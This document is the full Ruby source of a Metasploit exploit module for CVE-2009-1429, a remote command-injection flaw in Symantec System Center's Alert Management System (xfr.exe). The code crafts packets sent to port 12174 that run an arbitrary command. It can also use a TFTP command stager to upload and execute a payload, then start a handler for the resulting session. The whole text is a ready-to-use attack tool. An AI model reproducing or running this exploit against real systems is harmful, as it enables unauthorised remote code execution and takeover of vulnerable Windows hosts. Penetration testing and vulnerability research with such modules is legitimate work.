Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution

`##  
# $Id: ams_xfr.rb 13591 2011-08-19 18:35:29Z mc $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::CmdStagerTFTP  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution',  
'Description' => %q{  
Symantec System Center Alert Management System is prone to a remote command-injection vulnerability  
because the application fails to properly sanitize user-supplied input.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 13591 $',  
'References' =>  
[  
[ 'CVE', '2009-1429' ],  
[ 'BID', '34671' ],  
[ 'OSVDB', '54157' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-060/' ],  
[ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20090428_02' ]  
],  
'Targets' =>  
[  
[ 'Windows Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
}  
]  
],  
'Privileged' => 'true',  
'Platform' => 'win',  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 28 2009'))  
  
register_options(  
[  
Opt::RPORT(12174),  
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),  
], self.class)  
end  
  
def windows_stager  
  
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"  
  
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")  
execute_cmdstager({ :temp => '.'})  
@payload_exe = payload_exe  
  
print_status("Attempting to execute the payload...")  
execute_command(@payload_exe)  
  
end  
  
def execute_command(cmd, opts = {})  
  
connect  
  
len = 2 + cmd.length  
  
data = [0x00000000].pack('V')  
data << len.chr  
data << "\x00"  
data << cmd + " "  
data << "\x00"  
  
sock.put(data)  
  
res = sock.get_once  
  
if (!res)  
print_error("Did not recieve data. Failed?")  
else  
print_status("Got data, execution successful!")  
end  
  
disconnect  
  
end  
  
def exploit  
  
if not datastore['CMD'].empty?  
print_status("Executing command '#{datastore['CMD']}'")  
execute_command(datastore['CMD'])  
return  
end  
  
case target['Platform']  
when 'win'  
windows_stager  
else  
raise RuntimeError, 'Target not supported.'  
end  
  
handler  
  
end  
end  
`